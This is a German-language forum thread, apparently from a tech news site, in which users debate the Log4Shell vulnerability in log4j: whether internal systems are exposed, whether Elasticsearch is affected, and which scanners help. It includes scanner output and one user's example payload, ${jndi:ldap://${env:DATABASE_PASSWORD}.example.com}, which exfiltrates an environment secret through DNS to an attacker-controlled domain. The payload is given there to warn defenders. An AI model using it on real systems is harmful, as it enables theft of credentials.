News Log4Shell: Sicherheitslücke in log4j für Java hält die IT-Welt in Atem

[Mensch_lein]

Alternativ schlägt das BSI folgende Maßnahmen vor:
-
-
-
- Prüfen, mit welchen Rechten der betroffene Dienst betrieben wird und diese auf dasm notwendige Minimum reduzieren.

das m ist zu viel.

Grüsse

 

[ModellbahnerTT]

Und von Java wird man so schnell nicht wegkommen.

Das ist leider richtig aber weniger Software in JAVA zu schreiben bzw. mit mehr Sicherheitsprüfungen zu versehen ist eine langfristige Lösung.

Abschalten ohne wenn und aber aller Java-basierten Anwendungen, wenn möglich.

Am besten noch eine Liste anfertigen mit Software die ersetzt werden sollte.

 

[RadicalEd]

Auch nicht direkt mit dem Internet verbundene Systeme sind nicht vor einer Attacke gefeit, weil schon eine Anfrage über einen kompromittierten Rechner ausreicht, um ein weiteres System zu infiltrieren – es bedarf keines Nachladens von Code über das Internet.

Gibt es für diese Aussage einen Beleg? Ich befasse mich eigentlich recht umfangreich mit dem Thema, konnte für diese Aussage, die auf ein paar Seiten auftaucht, keinen Beleg finden. Die Artikel von Microsoft, LunaSec, Cloudflare usw. sprechen davon, dass Code explizit nachgeladen werden muss. Mit der JNDI weißt man den Server an, über LDAP oder auch andere Protokolle, sich mit einem Server in Verbindung zu setzen. Hier wird dann erst der Code übermittelt der durch Log4j entsprechend ausgeführt wird.

Auch das BSI verbreitet diese Aussage ohne Belege dafür zu nennen. Auch bei "internen" Papieren, die man als KRITIS Haus erhält, fehlt aber genau für diesen Punkt ein Beleg.

 

[ComputerJunge]

aber weniger Software in JAVA zu schreiben bzw. mit mehr Sicherheitsprüfungen zu versehen ist eine langfristige Lösung.

Und warum?

 

[cmi777]

Schenkelklopfer, die sind genaus betroffen.

Nur mal so, unsere Firma beschäftigen uns seit gestern intensiv damit. Hier mal ein sehr übersichtliches Bild, wie ein Angriff läuft.

Elastic lügt also? Du kannst nachvollziehbar in Elasticsearch > 6.x und < 7.16.1 (oder gar 7.16.1) den Exploit nutzen?

Und um bei dem Szenario zu bleiben auf was ich mich bezogen habe: ohne das Elasticsearch selbst direkt "von außen" erreichbar ist und mit/ohne Mitigation (Setzen des Java-Parameters).

Das wäre sicherlich auch für Elastic und alle Nutzer davon interessant.

(P.S: Ich fände es gut, wenn du deine herablassende Art ("Schenkelklopfer", "Nur mal so, ...") reduzieren und eher mit Fakten ergänzen könntest. Das würde allen eher helfen.)

 

[foo_1337]

Gibt es für diese Aussage einen Beleg? Ich befasse mich eigentlich recht umfangreich mit dem Thema, konnte für diese Aussage, die auf ein paar Seiten auftaucht, keinen Beleg finden. Die Artikel von Microsoft, LunaSec, Cloudflare usw. sprechen davon, dass Code explizit nachgeladen werden muss. Mit der JNDI weißt man den Server an, über LDAP oder auch andere Protokolle, sich mit einem Server in Verbindung zu setzen. Hier wird dann erst der Code übermittelt der durch Log4j entsprechend ausgeführt wird.

Und was hält jemanden davon ab, einen Präparierten LDAP Server auch intern bereitzustellen, der die Payload bereitstellt?
Welchen Beleg willst du dafür haben? Solange du deinen Mitarbeitern und deinen Netzabschottungsmaßnahmen nicht zu 100% Vertrauen kannst, bist du gefährdet. Und beides kann man wohl nicht, daher...

 

[###Zaunpfahl###]

Danke euch beiden für die Links. Mal gucken, wie ich damit einfach unter Windows alles abscannen kann.

Da ich ja mittlerweile linux native bin vergessen zu erwähnen... 😅 also grype läuft nicht auf windows
die Readme wurde nicht angepasst...
Binary gibts im Release

 

[RadicalEd]

Und was hält jemanden davon ab, einen Präparierten LDAP Server auch intern bereitzustellen, der die Payload bereitstellt?

Wenn der Angreifer sich bereits im Netzwerk befindet und solche Dienste in Betrieb nehmen kann, spielt die Lücke auch keine große Rolle mehr.

Aber auch hier wird trotzdem, über den internen LDAP Server, Code nachgeladen. Hier geht es einfach darum, ob sich mit der Sicherheitslücke direkt Code ausführen lässt oder dieser nachgeladen werden muss. Das mag sich wie ein unbedeutendes Detail anhören, macht aber einen großen Unterschied.

 

[foo_1337]

Das ist leider richtig aber weniger Software in JAVA zu schreiben bzw. mit mehr Sicherheitsprüfungen zu versehen ist eine langfristige Lösung.

Hm ja, weil ja C, nodejs usw. nie Probleme hatten und haben. Kannst du dein substanzloses Java Bashing einfach mal sein lassen? Ja, mir ist bekannt, dass Java unter DAUs (sorry dafür) einen schlechten Ruf wegen diversen Applet Geschichten aus den 90ern hatte. Aber das hier hat damit nichts, aber rein gar nichts zu tun.

Ergänzung (14. Dezember 2021)

Wenn der Angreifer sich bereits im Netzwerk befindet und solche Dienste in Betrieb nehmen kann, spielt die Lücke auch keine große Rolle mehr.

Du tust jetzt so als wäre es eine Kunst, sowas in Betrieb zu nehmen. Das kann ein stinknormaler Mitarbeiter sein, der nichtmal Admin Rechte auf seinem Client dafür benötigt.

Und wenn dein Netzdesign so aussieht, dass du ein Problem hast, sobald jemand damit verbunden ist, hast du ohnehin sehr viel falsch gemacht.

@Jan @SV3N https://www.bleepingcomputer.com/ne...hrome-update-to-fix-zero-day-used-in-attacks/
Sorry für OT, aber das ist auch ne üble Nummer und betifft wohl mehr user hier auf CB, daher definitiv einen sehr zeitnahen Artikel wert.

Ergänzung (14. Dezember 2021)

Aber auch hier wird trotzdem, über den internen LDAP Server, Code nachgeladen. Hier geht es einfach darum, ob sich mit der Sicherheitslücke direkt Code ausführen lässt oder dieser nachgeladen werden muss. Das mag sich wie ein unbedeutendes Detail anhören, macht aber einen großen Unterschied.

Ja, und den internen LDAP Server stelle ich dir in kurzer Zeit bereit. Wo ist das Problem?

 

[RadicalEd]

Und wenn dein Netzdesign so aussieht, dass du ein Problem hast, sobald jemand damit verbunden ist, hast du ohnehin sehr viel falsch gemacht.

Oha, du scheinst ja sehr von dir überzeugt zu sein und belegst deine Ausführungen besser nicht mit Fakten sondern Vorwürfen? Schon eine starke Leistung!

Danke für deinen "wertvollen" Beitrag.

 

[foo_1337]

Was soll ich dafür für Fakten bringen? Wenn ich ein Corporate Netz so aufbaue, dass ich darauf setze, dass die Sicherheit darin besteht, dass kein Fremder in mein Netzwerk kommt, dann habe ich gravierend was falsch gemacht. Ja, das hat man in den 90ern so gemacht. Und die letzten Jahre hat man gesehen, was mit dieser Mentalität an Schaden passieren kann. Wir haben das auch mal so gemacht, ja. Mittlerweile sind unsere Netzdesigns so, dass es zwar blöd ist, wenn jemand Zugang zum Netz hat, aber eben kein Beinbruch. Es können dadurch (100% auschließen kann man es natürlich nicht) weder Daten abgegriffen werden noch sonstiger Schaden angerichtet werden. Und als netter Nebeneffekt ist auch ein VPN daher nahezu obsolet geworden. Man vertraut einfach niemandem mehr und designed/baut mit diesem Hintergrund.

Ich verstehe auch nicht, wieso man hier rumdiskutiert, ob interne Systeme relevant sind oder nicht. Die Mitigation ist trivial und kann in allen Fällen ohne 3rd Party durchgeführt werden. Warum macht man es nicht einfach?
Der potentielle Schaden wenn man es nicht macht ist jedoch enorm. Und beim DSGVO Fall sagst du dann aus, dass du davon ausgingst, dass es nicht so schlimm war weil nur intern? Sorry, aber so läuft das nicht. Wenn du die Verantwortung dafür trägst hast du das zu mitigieren. Und wenn du das mit "internal only" begründen willst, reicht das nicht.

 

[RadicalEd]

Das stimmt natürlich, aber das von mir angefragte Detail macht trotzdem einen großen Unterschied. Wir isolieren unsere Serversysteme und es wird nur ein Zugriff zu den Servern über die notwendigen Ports erlaubt. Genauso können die Serversysteme aber auch nur mit definierten Zielen sprechen. Wenn man nun direkt Code ausführen kann, dann ist ein Server angreifbar nur weil er irgendwie erreichbar ist. Ist der Code nur durch das Nachladen erreichbar, so ist die Lücke zwar Ausnutzbar, aber beim Code nachladen würde ein Angreifer dann nicht mehr weiter kommen.

All das entbindet einen natürlich nicht davon, seine Systeme ASAP zu aktualisieren. Trotzdem ist es entscheidendes Detail, ob man seine Systeme per se bereits als Kompromittiert ansieht.

Auch finde ich es wichtig, dass Artikel auf Fakten basieren und nicht behauptungen ohne Beleg verbreitet werden. Das schadet letztendlich dem Medium selbst, da man es unter Umständen später mit schlechter Recherche verbindet.

 

[PHuV]

Elastic lügt also? Du kannst nachvollziehbar in Elasticsearch > 6.x und < 7.16.1 (oder gar 7.16.1) den Exploit nutzen?

Das habe ich so nicht gesagt. Es ist aber log4j in diversen Komponenten eingebaut, und damit ist es theoretisch nutzbar.

Und um bei dem Szenario zu bleiben auf was ich mich bezogen habe: ohne das Elasticsearch selbst direkt "von außen" erreichbar ist und mit/ohne Mitigation (Setzen des Java-Parameters).

Wenn es von außen nicht erreichbar bist, ist eh alles gut.

Das wäre sicherlich auch für Elastic und alle Nutzer davon interessant.

(P.S: Ich fände es gut, wenn du deine herablassende Art ("Schenkelklopfer", "Nur mal so, ...") reduzieren und eher mit Fakten ergänzen könntest. Das würde allen eher helfen.)

Ich kann doch hier nicht alles interne so einfach posten. 🙄 Ich muß das erst mal bereinigen, und das kostet nun mal Zeit. Hier mal ein Auszug einer Untersuchung von mir gestern:

Spoiler: Log4j elastic

 ./plugins/org.vendor.libraries.elasticsearch_7.3.1.20191108_0826.jar!/lib/log4j-core-2.11.1.jar contains Log4J-2.x   >= 2.10.0 _VULNERABLE_ :-(
./app/esb/add-ons/lib/pax-logging-log4j2-1.11.2.jar contains Log4J-2.x   >= 2.10.0 _VULNERABLE_ :-(
./app/esb/container/system/org/ops4j/pax/logging/pax-logging-log4j2/1.11.2.tesb1/pax-logging-log4j2-1.11.2.tesb1.jar contains Log4J-2.x   >= 2.10.0 _VULNERABLE_ :-(
2.10.0 _VULNERABLE_ :-(
./app/logserv/elasticsearch-7.3.2/bin/elasticsearch-sql-cli-7.3.2.jar contains Log4J-2.x   >= 2.10.0 _VULNERABLE_ :-(
./app/logserv/elasticsearch-7.3.2/lib/log4j-core-2.11.1.jar contains Log4J-2.x   >= 2.10.0 _VULNERABLE_ :-(
./app/logserv/logstash-7.3.2/logstash-core/lib/jars/log4j-core-2.11.1.jar contains Log4J-2.x   >= 2.10.0 _VULNERABLE_ :-(
./app/logserv/logstash-7.3.2/vendor/bundle/jruby/2.5.0/gems/logstash-input-tcp-6.0.3-java/vendor/jar-dependencies/org/logstash/inputs/logstash-input-tcp/6.0.3/logstash-input-tcp-6.0.3.jar contains Log4J-2.x   >= 2.0-beta9 (< 2.10.0) _VULNERABLE_ :-(
-- Problem: ./app/logserv/logstash-7.3.2/vendor/bundle/jruby/2.5.0/gems/rubyzip-1.2.3/test/data/gpbit3stored.zip - java.lang.RuntimeException: java.util.zip.ZipException: only DEFLATED entries can have EXT descriptor
-- Problem: ./app/logserv/logstash-7.3.2/vendor/bundle/jruby/2.5.0/gems/rubyzip-1.2.3/test/data/zipWithEncryption.zip - java.lang.RuntimeException: java.util.zip.ZipException: encrypted ZIP entry not supported
./app/logserv/elasticsearch-7.3.2/bin/elasticsearch-sql-cli-7.3.2.jar contains Log4J-2.x   >= 2.10.0 _VULNERABLE_ :-(
./app/logserv/elasticsearch-7.3.2/lib/log4j-core-2.11.1.jar contains Log4J-2.x   >= 2.10.0 _VULNERABLE_ :-(
./app/logserv/logstash-7.3.2/logstash-core/lib/jars/log4j-core-2.11.1.jar contains Log4J-2.x   >= 2.10.0 _VULNERABLE_ :-(
./app/logserv/logstash-7.3.2/vendor/bundle/jruby/2.5.0/gems/logstash-input-tcp-6.0.3-java/vendor/jar-dependencies/org/logstash/inputs/logstash-input-tcp/6.0.3/logstash-input-tcp-6.0.3.jar contains Log4J-2.x   >= 2.0-beta9 (< 2.10.0) _VULNERABLE_ :-
./app/logserv/elasticsearch-7.3.2/bin/elasticsearch-sql-cli-7.3.2.jar contains Log4J-2.x   >= 2.10.0 _VULNERABLE_ :-(
./app/logserv/elasticsearch-7.3.2/lib/log4j-core-2.11.1.jar contains Log4J-2.x   >= 2.10.0 _VULNERABLE_ :-(
./app/logserv/logstash-7.3.2/logstash-core/lib/jars/log4j-core-2.11.1.jar contains Log4J-2.x   >= 2.10.0 _VULNERABLE_ :-(
./app/logserv/logstash-7.3.2/vendor/bundle/jruby/2.5.0/gems/logstash-input-tcp-6.0.3-java/vendor/jar-dependencies/org/logstash/inputs/logstash-input-tcp/6.0.3/logstash-input-tcp-6.0.3.jar contains Log4J-2.x   >= 2.0-beta9 (< 2.10.0) _VULNERABLE_ :-(

Ich habe das auf einem Server mit 104 OpenSource Komponenten entdeckt.

 

[Marco01_809]

@RadicalEd Die RCE über den LDAP-Adapter ist ja nur einer von vielen Angriffen die mit dieser Lücke möglich sind. Ausgehende Firewalls sind natürlich klasse, aber: filtert ihr auch DNS?

Sonst kann man leicht Daten exfiltrieren, z.B. mit einem String wie

${jndi:ldap://${env:DATABASE_PASSWORD}.example.com}

Da die lookups rekursiv gemacht werden, wird zuerst die Umgebungsvariable DATABASE_PASSWORD als Subdomain eingesetzt, dann folgt die DNS-Auflösung von meinSuperSicheresPasswort.example.com. Wenn der Angreifer unter example.com einen DNS-Server betreibt kann er schön gucken welche Subdomains da so angefragt werden. Dass der Verbindungsversuch danach wegen eurer Firewall nicht klappt ist für die Exfiltration unerheblich.

Zudem können Anwendungen auch eigene JNDI-Adapter JVM-weit registrieren, die allen möglichen Schaden anrichten könnten, denn JNDI ist ganz klar nicht unter der Annahme designed dass da untrusted input reingeht. Aber das Clients auch nur schon Verbindungsversuche gegen beliebige Dienste auf localhost starten können würde mir Magenschmerzen bereiten!

Mal ganz davon ab sind alle von log4j erstellten logs wertlos (!!) weil das Teil einfach keine Strings 1:1 loggen kann. Wenn ihr versucht in den logs irgendetwas nachzuvollziehen könnt ihr nie sicher sein ob wirklich das passiert ist was da steht, denn ihr wisst nie ob log4j irgendwelche Substitutionen gemacht hat.

 

[Web-Schecki]

Das habe ich so nicht gesagt.

Du hast gesagt:

Schenkelklopfer, die sind genaus betroffen.

Das ist eine andere Aussage als

Es ist aber log4j in diversen Komponenten eingebaut, und damit ist es theoretisch nutzbar.

Theoretisch ist es nutzbar, ja, aber praktisch kommt es nunmal darauf an, was Elasticsearch genau loggt. Wenn nirgendwo Nutzereingaben an log4j übergeben werden, dann kannst du die Lücke in log4j auch nicht exploiten. Und dann ist Elasticsearch - trotz Schenkelklopfer - ganz sicher auch nicht betroffen.

Die Begründung von Elasticsearch ist eine andere. Die sagen, sie wären nicht angreifbar, weil sie den Java Security Manager verwenden. Das macht es in meinen Augen schwieriger zu überprüfen, aber bei korrekter Implementierung kann der definitiv den Zugriff auf externe Ressourcen verhindern und damit wird es schwierig mit dem Exploit. Die Exfiltration von Daten via DNS soll nur mit JDK <= 8 möglich sein. Ich würde denken, dass sie das nochmal genauestens überprüft haben, bevor sie solche Infos rausgeben.
In jedem Fall ist deine Behauptung, sie seien genauso betroffen, offenbar nicht richtig, wenn du das nur aus der verwendeten Log4j-Version schließen willst. Das sagen sie sogar selbst:

Note: In both of these scenarios, some vulnerability scanners may continue to flag Elasticsearch in association with this vulnerability based on the Log4j version alone. However, any of the above mitigations sufficiently protect both remote code execution and information leakage.

Wenn du aber tatsächlich eine Lücke entdeckt hast, von denen sie nicht wissen, dann solltest du sie informieren! Es kann immer sein, das sie etwas übersehen.

 

[cmi777]

Das habe ich so nicht gesagt. Es ist aber log4j in diversen Komponenten eingebaut, und damit ist es theoretisch nutzbar.

Danke für die Liste! Ich glaube ich verstehe jetzt besser wie du auf das "ist verwundbar" kommst: die nutzen eine Log4J-Version, die noch verwundbar ist. Und wie du selbst sagst: potentiell/theoretisch nutzbar.

Ich würde mich daher hier auf die Recherche von Elastic selbst verlassen, die da ja sehr transparent sind. Weiter oben schon mal verlinkt, aber hier nochmal.

(Da muss man aber dranbleiben, die ändern das mit neuem Wissen regelmäßig: So wird jetzt (ohne Mitigation) Version 7.8+ als sicher angesehen, darunter nur mit Mitigation.)

Wenn es von außen nicht erreichbar bist, ist eh alles gut.

Das sehe ich halt etwas anders (daher auch mein ursprünglicher Beitrag), da der Schaden über entsprechende Lognachrichten potentiell trotzdem angerichtet werden kann (Wie Steffen aber weiter oben schon meinte, gibt es wohl kein Log für verarbeitete Einträge, so dass das nicht relevant sein sollte). Wichtig(er) ist aber wohl eher, ob der Server nach außen "offen" ist. Hier schlampern viele Firewallkonfigurationen (Der Eingang wird zugenagelt, aber der Ausgang ist eine Automatik-Glastür.)

 

[RadicalEd]

Die RCE über den LDAP-Adapter ist ja nur einer von vielen Angriffen die mit dieser Lücke möglich sind. Ausgehende Firewalls sind natürlich klasse, aber: filtert ihr auch DNS?

Naja es kommt darauf an welche Art von DNS-Abfragen. JNDI erlaubt wohl selbst, dass er auch als DNS-Client agiert und selbständig einen frei definierten DNS Server kontaktieren kann. Solche Abfragen werden bei uns blockiert, da nur definierte Server in der Lage sind DNS Abfragen in das Internet zu stellen.

Natürlich könnte aber, wie schon dir erwähnt, quasi durch eine normale DNS-Abfrage, die durch das OS durchgeführt wird, Daten abfließen. Hier denke ich aber nicht das es möglich ist Code nachzuladen. Theoretisch wäre das per DNS und Base64 möglich, aber es ist halt noch nicht gesagt ob die Sicherheitslücke das hergibt bzw. ob die DNS Antwort auch "ausgeführt/executed" wird.

 

[PHuV]

• Theoretisch ist es nutzbar, ja, aber praktisch kommt es nunmal darauf an, was Elasticsearch genau loggt. Wenn nirgendwo Nutzereingaben an log4j übergeben werden, dann kannst du die Lücke in log4j auch nicht exploiten. Und dann ist Elasticsearch - trotz Schenkelklopfer - ganz sicher auch nicht betroffen.

Sagen wir es mal so, aus meiner Sicht ist es erst richtig sicher, wenn die log4j-core|api*.jar ab 2.15 in allen Java-Paketen drin ist.

Die Begründung von Elasticsearch ist eine andere.
:
In jedem Fall ist deine Behauptung, sie seien genauso betroffen, offenbar nicht richtig, wenn du das nur aus der verwendeten Log4j-Version schließen willst.

Ich halte die Begründung für falsch, oder anders, einseitig, weil sie sich nur auf Produkte als Einheit beziehen, da mag es so sein. Aber diese Jars, die ich da oben zeigte, können von jedem beliebigen Java-Entwicker herangenommen werden, um diverse Funktionen wie Klassen aufzurufen:

• plugins/org.vendor.libraries.elasticsearch_7.3.1.20191108_0826.jar
• elasticsearch-sql-cli-7.3.2.jar
• :

So, und nun frage ich umgekehrt, wie willst Du verhindert oder festlegen, wie ein Entwickler mit diesen Jar-Dateien umgeht? Aus meiner Sicht kannst Du das gar nicht. Jeder, der diese Jars verwendet, kann Log4j irgendwie aufrufen und ansprechen. Und darin liegt das Problem. Daher gestatte mir den sarkatischen und vielleicht überspitzten "Schenkelkloppfer" über die vermeidlich suggerierte "Versicherung" von Elastic, daß hier nichts passieren kann. Wir wurden hier gestern förmlich überrollt mit Anfragen.

Update: Als Klarstellung, falls es nicht hervorging: Einige Komponenten von Elastic werden als Plugins in anderen System verwendet und verteilt. Und um die geht es mir, nicht um das Produkt Elastic insgesamt. Der Elastic Stack besteht aus Kibana, Logstash, Elastic Search und Filebeat. Die liefern allen entsprechene Java-Dateien mit. Man kann jede Komponente einzeln verwenden und installieren usw.

 

[BrollyLSSJ]

Unser Fazit: Eine Katastrophe, weil Log4j in zig Paketen und Paketen von Paketen versteckt ist. Prüfung mit
https://github.com/mergebase/log4j-detector bringt einige Erhellung.

Danke, den Link speichere ich mir auch mal weg.

Der Tivoli Storage Manager z.B. ist auch betroffen je nach Version.

Hast du da einen Link? Bei uns setzen wir TSM eventuell auch noch irgendwo ein. Da wäre es gut zu wissen, welche Versionen betroffen sind.

Da ich ja mittlerweile linux native bin vergessen zu erwähnen... 😅 also grype läuft nicht auf windows

Nicht? Ich sehe auf deren Github Release Site eine Windows ZIP Datei.

 

[Affenzahn]

Und ich hab mich gestern schon gewundert, was das für ein Beitrag (ohne wirklichen Informationsgehalt) in der Tagesschau war.

DAS war wirklich daneben.
2 Minuten über eine schwere, kritische Sicherheitslücke reden ohne zu erwähnen was und wer betroffen ist.

"In einem schweren Unglück bei einer Stadt in einem Land könnten Menschen zu Schaden gekommen sein"
"Die Ampel Koalition hat bei einem Treffen von Politikern über Dinge geredet"
Zum Sport:
"In einer Sportart haben Teams gegeneinander gespielt und eines scheint gewonnen zu haben"
Und hier das Wetter der nächsten Woche:
"Es wird auch nächste Woche wieder Wetter geben."

"Die nächsten Tagesthemen sind Heute Spätabend und wir hoffen sie zu einer Uhrzeit wieder begrüßen zu können."